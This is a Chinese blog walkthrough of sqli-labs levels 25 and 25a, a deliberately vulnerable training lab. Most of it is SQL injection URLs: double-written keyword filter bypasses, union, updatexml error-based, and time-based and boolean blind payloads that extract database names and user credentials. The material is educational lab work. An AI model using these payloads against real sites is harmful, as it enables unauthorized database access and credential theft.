• sqli lab 25 25a


    Waf绕过可大致分为三类:  1.白盒绕过
                                                 2. 黑盒绕过
                                                 3. fuzz测试

    less  25  法一 union 双写绕过过滤

    http://192.168.50.100/sqli/Less-25/?id=1

     http://192.168.50.100/sqli/Less-25/?id=1'

    http://192.168.50.100/sqli/Less-25/?id=1' -- +  闭合 返回正常

    提示语句

    使用order by 2-- 猜列数

     查看源码  发现 or和and  都被替换成了空

    采用双写得方式 进行绕过~

    http://192.168.50.100/sqli/Less-25/?id=1'  Oorrder by 2  -- +

     http://192.168.50.100/sqli/Less-25/?id=-1' union select 1,2,3--+   判断回显位置


    http://192.168.50.100/sqli/Less-25/?id=-1‘  union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+ 查到库

    infoorrmation   双写 绕过
    http://192.168.50.100/sqli/Less-25/?id=-1 ’ union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+ 查到字段
    http://192.168.50.100/sqli/Less-25/?id=-1 ‘ union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+ 查到字段值

     less25 法二 

    or->|| 基于报错的注入

    http://192.168.50.100/sqli/Less-25/?id=-1' ||  '1'='1

     

    使用报错注入   

    http://192.168.50.100/sqli/Less-25/?id=-1‘  || updatexml(1,concat(0x7e,(database()),0x7e),1)--+ 爆出当前数据库


    http://192.168.50.100/sqli/Less-25/?id=-1‘  || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1),0x7e),1)--+

    遍历爆出所有的数据,继续使用即可,这里不可以使用group_concat(),因为数据显示不完整


    less25a

    此时页面发生显著变化,数据消失,说明存在注入,但是通过$sql语句得知,此处并没有将id值进行包裹

    http://192.168.50.100/sqli/Less-25a/?id=1  OoRrder by 3 --+

     http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,3 --+    判断回显位置       id= 1 和 id= -1 得区别如下

     

     http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,3--+ 可以使用联合查询,当我们使用联合查询注入时:
     http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+ 查到库
     http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+ 查到字段
     http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+ 查到字段值

    25a  还有其他得方法

    当我们使用基于时间的布尔盲注:
     http://192.168.50.100/sqli/Less-25a/?id=-1 oorr if(length(database())>1,1,sleep(5))--+ 可以通过这个判断当前数据库长度
     http://192.168.50.100/sqli/Less-25a/?id=-1 oorrif(left(database(),1)>‘a’,1,sleep(5))--+ 判断当前数据库的组成
     http://192.168.50.100/sqli/Less-25a/?id=-1 oorr if(left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’,1,sleep(5))--+ 通过这个判断所有的数据库
    依次再进行下去。。。


    当我们使用布尔盲注的时候:
     http://192.168.50.100/sqli/Less-25a/?id=-1 oorr length(database())>1--+ 此时页面返回正常,则得知当前的数据库长度是大于1的
     http://192.168.50.100/sqli/Less-25a/?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’--+当前的页面返回正常,说明此时的第一个数据库的第一个字母是大于a的
     http://192.168.50.100/sqli/Less-25a/?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)=‘a’--+ 此时等于a的时候,页面返回异常,说明我们的语句写的是正确的。
    依次再进行下去。。。

    通过观察,25关   ‘’   包裹,25a没有任何包裹,并且也是转义or和and

  • 相关阅读:
    Java学习10.22(Javaweb对输入信息进行验证——常用的方法)
    mysql with python
    Linux
    Python 基础的一些习题
    Python 推导式、迭代器、生成器、模块和包
    Python 文件操作、异常
    Python 部分内置函数、作用域、闭包、递归
    Python 基础函数、解包
    Python 条件与循环
    Python 集合、字典、运算符
  • 原文地址:https://www.cnblogs.com/xingyuner/p/12238982.html
Copyright © 2020-2023  润新知